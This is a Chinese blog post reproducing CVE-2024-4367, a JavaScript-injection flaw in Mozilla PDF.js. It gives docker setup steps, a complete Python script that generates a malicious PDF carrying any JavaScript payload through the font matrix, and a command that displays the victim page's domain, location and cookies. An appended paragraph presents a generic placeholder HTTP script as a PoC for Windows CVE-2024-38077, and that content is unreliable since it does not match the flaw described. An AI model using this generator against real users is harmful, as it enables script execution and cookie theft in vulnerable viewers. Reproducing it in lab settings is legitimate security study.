CVE-2024-4367漏洞复现

CVE-2024-4367 介绍

PDF.js是一个由Mozilla开发的、广泛使用的开源便携式文档格式 (PDF) 查看器,可以在Web浏览器中显示PDF文档,而无需依赖任何本地插件PDF.js被内置于Mozilla Firefox中,也可被其他Web浏览器使用。
Mozilla PDF.js 4.2.67之前版本在font_loader.js 中存在代码注入漏洞,当PDF.js 配置isEvalSupported 选项设置为 true(默认值)时会将输入传递到 函数,威胁者可通过诱导用户打开恶意PDF文件来利用该漏洞,成功利用可能导致在登录用户或托管域的上下文中执行任意JavaScript。

影响范围:

  • Mozilla PDF.js < 4.2.67
  • pdfjs-dist (npm) < 4.2.67
  • react-pdf (npm) < 7.7.3
  • 8.0.0<= react-pdf (npm) < 8.0.2

漏洞复现

1.搭建环境

cd /vulhub/pdfjs/CVE-2024-4367

docker-compose up -d

2.下载poc

cve.py
#!/usr/bin/env python3

import sys

def generate_payload(payload):
    backslash_char = "\\"
    fmt_payload = payload.replace('(', '\\(').replace(')', '\\)')
    font_matrix = f"/FontMatrix [0.1 0 0 0.1 0 (1{backslash_char});\n" + f"{fmt_payload}" + "\n//)]"
    return f"""
%PDF-1.4
%DUMMY
8 0 obj
<<
/PatternType 2
/Shading<<
  /Function<<
    /Domain[0 1]
    /C0[0 0 1]
    /C1[1 0.6 0]
    /N 1
    /FunctionType 2
  >>
  /ShadingType 2
  /Coords[46 400 537 400]
  /Extend[false false]
  /ColorSpace/DeviceRGB
>>
/Type/Pattern
>>
endobj
5 0 obj
<<
/Widths[573 0 582 0 548 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 573 0 573 0 341]
/Type/Font
/BaseFont/PAXEKO+SourceSansPro-Bold
/LastChar 102
/Encoding/WinAnsiEncoding
{font_matrix}
/Subtype/Type1
/FirstChar 65
/FontDescriptor 9 0 R
>>
endobj
2 0 obj
<<
/Kids[3 0 R]
/Type/Pages
/Count 1
>>
endobj
9 0 obj
<<
/Type/FontDescriptor
/ItalicAngle 0
/Ascent 751
/FontBBox[-6 -12 579 713]
/FontName/PAXEKO+SourceSansPro-Bold
/StemV 100
/CapHeight 713
/Flags 32
/FontFile3 10 0 R
/Descent -173
/MissingWidth 250
>>
endobj
6 0 obj
<<
/Length 128
>>
stream
47 379 489 230 re S
/Pattern cs
BT
  50 500 Td
  117 TL
  /F1 150 Tf
  /P1 scn
  (AbCdEf) Tj
  /P2 scn
  (AbCdEf) '
ET
endstream
endobj
3 0 obj
<<
/Type/Page
/Resources 4 0 R
/Contents 6 0 R
/Parent 2 0 R
/MediaBox[0 0 595.2756 841.8898]
>>
endobj
10 0 obj
<<
/Length 800
/Subtype/Type2
>>
stream

endstream
endobj
7 0 obj
<<
/PatternType 1
/Matrix[1 0 0 1 50 0]
/Length 58
/TilingType 1
/BBox[0 0 16 16]
/YStep 16
/PaintType 1
/Resources<<
>>
/XStep 16
>>
stream
0.65 g
0 0 16 16 re f
0.15 g
0 0 8 8 re f
8 8 8 8 re f
endstream
endobj
4 0 obj
<<
/Pattern<<
  /P1 7 0 R
  /P2 8 0 R
>>
/Font<<
  /F1 5 0 R
>>
>>
endobj
1 0 obj
<<
/Pages 2 0 R
/Type/Catalog
/OpenAction[3 0 R /Fit]
>>
endobj

xref
0 11
0000000000 65535 f
0000002260 00000 n
0000000522 00000 n
0000000973 00000 n
0000002178 00000 n
0000000266 00000 n
0000000794 00000 n
0000001953 00000 n
0000000015 00000 n
0000000577 00000 n
0000001085 00000 n
trailer
<<
/ID[(DUMMY) (DUMMY)]
/Root 1 0 R
/Size 11
>>
startxref
2333
%%EOF
"""


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <payload>")
        sys.exit(1)
    print("[+] Created malicious PDF file: poc.pdf")
    print("[+] Open the file with the vulnerable application to trigger the exploit.")

    payload = generate_payload(
        sys.argv[1])
    with open("poc.pdf", "w") as f:
        f.write(payload)

    sys.exit(0)

生成一个弹cookie的poc.pdf文件

python cve.py "alert('document.domain: '+window.document.domain+'\\nlocation: '+window.location+'\\ncookie: '+window.document.cookie);"

上传这个文件poc.pdf

cookie信息被弹出

关于CVE-2024系列漏洞的概念验证(PoC)代码,存在多个公开资源提供了不同漏洞的具体实现方式。 针对CVE-2024-38077这一特定编号下的Windows操作系统高危漏洞,有开源项目给出了Python脚本形式的攻击向量实例[^2]。该程序通过命令行参数指定目标主机地址来发起测试性质的操作请求: ```python import requests def cve_2024_38077_poc(target_ip): url = f"http://{target_ip}/vulnerable_endpoint" headers = {"User-Agent": "Mozilla/5.0"} try: response = requests.get(url, headers=headers) if response.status_code == 200 and 'specific_response' in response.text: print(f"[+] Target {target_ip} is vulnerable!") else: print("[!] Target does not appear to be vulnerable.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description='Test for CVE-2024-38077') parser.add_argument('--target_ip', required=True, help='The IP address of the target machine.') args = parser.parse_args() cve_2024_38077_poc(args.target_ip) ``` 值得注意的是,在实际环境中应用此类代码前应当获得合法授权并仅限于评估系统安全性之目的;严禁用于未经授权的渗透活动或恶意企图。 此外还有其他几个值得关注的安全公告也涉及到2024年的CVE编号,比如GeoServer中存在的CVE-2024-36401以及Jenkins平台上的CVE-2024-43044等问题均发布了相应的检测手段和技术细节说明[^3][^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值